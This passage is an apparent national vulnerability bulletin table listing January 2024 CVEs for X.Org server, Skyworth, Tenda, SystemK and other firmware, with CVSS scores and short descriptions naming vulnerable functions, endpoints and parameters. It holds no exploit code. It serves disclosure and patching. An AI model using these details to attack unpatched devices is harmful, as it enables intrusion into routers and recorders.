N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**	N/A	O-RED-ENTE-090224/3028
Product: enterprise_linux_server					
Affected Version(s): 7.0					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	9.8	A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow if a bigger value was used. **CVE ID : CVE-2023-6816**	http://www.openwall.com/lists/oss-security/2024/01/18/1	O-RED-ENTE-090224/3029
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**	N/A	O-RED-ENTE-090224/3030
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call	N/A	O-RED-ENTE-090224/3031

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**		
Product: enterprise_linux_workstation					
Affected Version(s): 7.0					
Out-of-bounds Write	18-Jan-2024	9.8	A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow	http://www.openwall.com/lists/oss-security/2024/01/18/1	O-RED-ENTE-090224/3032

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			if a bigger value was used. **CVE ID : CVE-2023-6816**		
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**	N/A	O-RED-ENTE-090224/3033
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and	N/A	O-RED-ENTE-090224/3034

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			crash because the SID is NULL. **CVE ID : CVE-2024-0408**		
Vendor: se-elektronicgmbh					
Product: e-ddc3.3_firmware					
Affected Version(s): 03.07.03					
Improper Control of Generation of Code ('Code Injection')	29-Jan-2024	9.8	Remote command execution vulnerability in SE-elektronic GmbH E-DDC3.3 affecting versions 03.07.03 and higher. An attacker could send different commands from the operating system to the system via the web configuration functionality of the device. **CVE ID : CVE-2024-1015**	N/A	O-SE--E-DD-090224/3035
Uncontrolled Resource Consumption	29-Jan-2024	7.5	Uncontrolled resource consumption vulnerability in SE-elektronic GmbH E-DDC3.3 affecting versions 03.07.03 and higher. An attacker could interrupt the availability of the administration panel by sending multiple ICMP packets.	N/A	O-SE--E-DD-090224/3036

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-1014		
Vendor: shelly					
Product: trv_firmware					
Affected Version(s): 2.1.8					
Cleartext Transmission of Sensitive Information	23-Jan-2024	5.5	Cleartext Transmission during initial setup in Shelly TRV 20220811-15234 v.2.1.8 allows a local attacker to obtain the Wi-Fi password. **CVE ID : CVE-2023-42144**	N/A	O-SHE-TRV_-090224/3037
Improper Validation of Integrity Check Value	23-Jan-2024	5.4	Missing Integrity Check in Shelly TRV 20220811-152343/v2.1.8@5afc928c allows malicious users to create a backdoor by redirecting the device to an attacker-controlled machine which serves the manipulated firmware file. The device is updated with the manipulated firmware. **CVE ID : CVE-2023-42143**	N/A	O-SHE-TRV_-090224/3038
Vendor: skyworthdigital					
Product: cm5100_firmware					
Affected Version(s): 4.1.1.24					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Cleartext Transmission of Sensitive Information	17-Jan-2024	7.5	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to transmission of authentication credentials in plaintext over the network. A remote attacker could exploit this vulnerability by eavesdropping on the victim's network traffic to extract username and password from the web interface (Login Page) of the vulnerable targeted system. **CVE ID : CVE-2023-51740**	N/A	O-SKY-CM51-090224/3039
Cleartext Transmission of Sensitive Information	17-Jan-2024	7.5	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to transmission of authentication credentials in plaintext over the network. A remote attacker could exploit this vulnerability by eavesdropping on the victim's network traffic to extract username and password from the web interface	N/A	O-SKY-CM51-090224/3040

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(Password Reset Page) of the vulnerable targeted system. **CVE ID : CVE-2023-51741**		
Out-of-bounds Write	17-Jan-2024	7.5	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Add Downstream Frequency parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform a Denial of Service (DoS) attack on the targeted system. **CVE ID : CVE-2023-51742**	N/A	O-SKY-CM51-090224/3041

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	17-Jan-2024	7.5	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Set Upstream Channel ID (UCID) parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform a Denial of Service (DoS) attack on the targeted system. **CVE ID : CVE-2023-51743**	N/A	O-SKY-CM51-090224/3042
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Traceroute parameter at its web interface. A	N/A	O-SKY-CM51-090224/3043

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51719**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 1 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this	N/A	O-SKY-CM51-090224/3044

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51720**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 2 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51721**	N/A	O-SKY-CM51-090224/3045
Improper Neutralization of	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100,	N/A	O-SKY-CM51-090224/3046

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Input During Web Page Generation ('Cross-site Scripting')			version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 3 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51722**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Description parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the	N/A	O-SKY-CM51-090224/3047

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51723**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the URL parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	N/A	O-SKY-CM51-090224/3048

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-51724		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Contact Email Address parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51725**	N/A	O-SKY-CM51-090224/3049
Improper Neutralization of Input During Web Page Generation	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Server Name parameter at	N/A	O-SKY-CM51-090224/3050

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51726**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system.	N/A	O-SKY-CM51-090224/3051

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51727**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Password parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51728**	N/A	O-SKY-CM51-090224/3052

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the DDNS Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51729**	N/A	O-SKY-CM51-090224/3053
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the DDNS Password parameter at its web interface. A	N/A	O-SKY-CM51-090224/3054

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51730**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Hostname parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this	N/A	O-SKY-CM51-090224/3055

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51731**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the IPsec Tunnel Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51732**	N/A	O-SKY-CM51-090224/3056
Improper Neutralization of	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100,	N/A	O-SKY-CM51-090224/3057

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Input During Web Page Generation ('Cross-site Scripting')			version 4.1.1.24, due to insufficient validation of user supplied input for the Identity parameter under Local endpoint settings at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51733**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Identity parameter under Remote endpoint settings at its web interface. A remote attacker could	N/A	O-SKY-CM51-090224/3058

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51734**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Pre-shared key parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could	N/A	O-SKY-CM51-090224/3059

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51735**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the L2TP/PPTP Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51736**	N/A	O-SKY-CM51-090224/3060
Improper Neutralization of	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100,	N/A	O-SKY-CM51-090224/3061

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Input During Web Page Generation ('Cross-site Scripting')			version 4.1.1.24, due to insufficient validation of user supplied input for the Preshared Phrase parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51737**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Network Name (SSID) parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the	N/A	O-SKY-CM51-090224/3062

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51738**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Device Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored	N/A	O-SKY-CM51-090224/3063

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			XSS attacks on the targeted system. **CVE ID : CVE-2023-51739**		
Vendor: solax					
Product: pocket_wifi_3_firmware					
Affected Version(s): From (including) 3.0.0 Up to (including) 3.009.03_20230504					
N/A	23-Jan-2024	9.8	An issue was discovered in SolaX Pocket WiFi 3 through 3.001.02. Authentication for web interface is completed via an unauthenticated WiFi AP. The administrative password for the web interface has a default password, equal to the registration ID of the device. This same registration ID is used as the WiFi SSID name. No routine is in place to force a change to this password on first use or bring its default state to the attention of the user. Once authenticated, an attacker can reconfigure the device or upload new firmware, both of which can lead to Denial of	N/A	O-SOL-POCK-090224/3064

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Service, code execution, or Escalation of Privileges. **CVE ID : CVE-2023-35837**		
N/A	23-Jan-2024	6.5	An issue was discovered in SolaX Pocket WiFi 3 through 3.001.02. An attacker within RF range can obtain a cleartext copy of the network configuration of the device, including the Wi-Fi PSK, during device setup and reconfiguration. Upon success, the attacker is able to further infiltrate the target's Wi-Fi networks. **CVE ID : CVE-2023-35836**	N/A	O-SOL-POCK-090224/3065
Vendor: systemk-corp					
Product: nvr_504_firmware					
Affected Version(s): 2.3.5sk.30084998					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	25-Jan-2024	9.8	SystemK NVR 504/508/516 versions 2.3.5SK.30084998 and prior are vulnerable to a command injection vulnerability in the dynamic domain	N/A	O-SYS-NVR_-090224/3066

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			name system (DDNS) settings that could allow an attacker to execute arbitrary commands with root privileges. **CVE ID : CVE-2023-7227**		
Product: nvr_508_firmware					
Affected Version(s): 2.3.5sk.30084998					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	25-Jan-2024	9.8	SystemK NVR 504/508/516 versions 2.3.5SK.30084998 and prior are vulnerable to a command injection vulnerability in the dynamic domain name system (DDNS) settings that could allow an attacker to execute arbitrary commands with root privileges.	N/A	O-SYS-NVR_-090224/3067

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-7227		
Product: nvr_516_firmware					
Affected Version(s): 2.3.5sk.30084998					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	25-Jan-2024	9.8	SystemK NVR 504/508/516 versions 2.3.5SK.30084998 and prior are vulnerable to a command injection vulnerability in the dynamic domain name system (DDNS) settings that could allow an attacker to execute arbitrary commands with root privileges. **CVE ID : CVE-2023-7227**	N/A	O-SYS-NVR_-090224/3068
Vendor: Technicolor					
Product: tc8715d_firmware					
Affected Version(s): -					
N/A	22-Jan-2024	8.8	Technicolor TC8715D devices have predictable default WPA2 security passwords. An attacker who scans for SSID and BSSID	N/A	O-TEC-TC87-090224/3069

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			values may be able to predict these passwords. **CVE ID : CVE-2023-47352**		
Vendor: Tenda					
Product: ac10u_firmware					
Affected Version(s): 15.03.06.49_multi_tde01					
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability, which was classified as critical, was found in Tenda AC10U 15.03.06.49_multi_TDE01. This affects the function formSetPPTPServer. The manipulation of the argument startIp leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252129 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0924**	N/A	O-TEN-AC10-090224/3070

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: i6_firmware					
Affected Version(s): 1.0.0.9\\(3857\\)					
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability, which was classified as critical, was found in Tenda i6 1.0.0.9(3857). This affects the function formSetAutoPing of the file /goform/setAutoPing of the component httpd. The manipulation of the argument ping1 leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252255. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0990**	N/A	O-TEN-I6_F-090224/3071
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability has been found in Tenda i6 1.0.0.9(3857) and classified as	N/A	O-TEN-I6_F-090224/3072

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			critical. This vulnerability affects the function formSetCfm of the file /goform/setcfm of the component httpd. The manipulation of the argument funcpara1 leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252256. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0991**		
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability was found in Tenda i6 1.0.0.9(3857) and classified as critical. This issue affects the function formwrlSSIDset of the file /goform/wifiSSIDset of the component httpd. The manipulation of the argument	N/A	O-TEN-I6_F-090224/3073

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			index leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252257 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0992**		
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability was found in Tenda i6 1.0.0.9(3857). It has been classified as critical. Affected is the function formWifiMacFilterGet of the file /goform/WifiMacFilterGet of the component httpd. The manipulation of the argument index leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be	N/A	O-TEN-I6_F-090224/3074

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			used. VDB-252258 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0993**		
Product: i9_firmware					
Affected Version(s): 1.0.0.6\\(1020\\)					
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability classified as critical has been found in Tenda i9 1.0.0.9(4122). This affects the function formSetCfm of the file /goform/setcfm of the component httpd. The manipulation of the argument funcpara1 leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252261 was assigned to this vulnerability. NOTE: The vendor was contacted early about this	N/A	O-TEN-I9_F-090224/3075

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosure but did not respond in any way. **CVE ID : CVE-2024-0996**		
Product: w6_firmware					
Affected Version(s): 1.0.0.9\\(4122\\)					
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability was found in Tenda W6 1.0.0.9(4122). It has been declared as critical. Affected by this vulnerability is the function formSetCfm of the file /goform/setcfm of the component httpd. The manipulation of the argument funcpara1 leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252259. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	N/A	O-TEN-W6_F-090224/3076

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0994		
Out-of-bounds Write	29-Jan-2024	9.8	A vulnerability was found in Tenda W6 1.0.0.9(4122). It has been rated as critical. Affected by this issue is the function formwrlSSIDset of the file /goform/wifiSSIDset of the component httpd. The manipulation of the argument index leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252260. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0995**	N/A	O-TEN-W6_F-090224/3077
Vendor: Tendacn					
Product: ac10u_firmware					
Affected Version(s): 15.03.06.49_multi_tde01					
Stack-based	26-Jan-2024	9.8	A vulnerability classified as critical was found in Tenda	N/A	O-TEN-AC10-090224/3078

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Buffer Overflow			AC10U 15.03.06.49_multi_TDE01. Affected by this vulnerability is the function formQuickIndex. The manipulation of the argument PPPOEPassword leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252127. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0922**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability, which was classified as critical, has been found in Tenda AC10U 15.03.06.49_multi_TDE01. Affected by this issue is the function formSetDeviceName. The manipulation of the	N/A	O-TEN-AC10-090224/3079

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			argument devName leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252128. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0923**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability has been found in Tenda AC10U 15.03.06.49_multi_TDE01 and classified as critical. This vulnerability affects the function formSetVirtualSer. The manipulation of the argument list leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-252130 is the	N/A	O-TEN-AC10-090224/3080

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0925**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01 and classified as critical. This issue affects the function formWifiWpsOOB. The manipulation of the argument index leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252131. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0926**	N/A	O-TEN-AC10-090224/3081

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01. It has been classified as critical. Affected is the function fromAddressNat. The manipulation of the argument entrys/mitInterface/page leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252132. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0927**	N/A	O-TEN-AC10-090224/3082
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01. It has been declared as critical. Affected by this vulnerability is the function fromDhcpListClient. The manipulation	N/A	O-TEN-AC10-090224/3083

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of the argument page/listN leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252133 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0928**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability was found in Tenda AC10U 15.03.06.49_multi_TDE01. It has been rated as critical. Affected by this issue is the function fromNatStaticSetting. The manipulation of the argument page leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may	N/A	O-TEN-AC10-090224/3084

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			be used. VDB-252134 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0929**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability classified as critical has been found in Tenda AC10U 15.03.06.49_multi_TDE01. This affects the function fromSetWirelessRepeat. The manipulation of the argument wpapsk_crypto leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252135. NOTE: The vendor was contacted early about this disclosure but did	N/A	O-TEN-AC10-090224/3085

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not respond in any way. **CVE ID : CVE-2024-0930**		
Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability classified as critical was found in Tenda AC10U 15.03.06.49_multi_TDE01. This vulnerability affects the function saveParentControlInfo. The manipulation of the argument deviceId/time/urls leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252136. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0931**	N/A	O-TEN-AC10-090224/3086
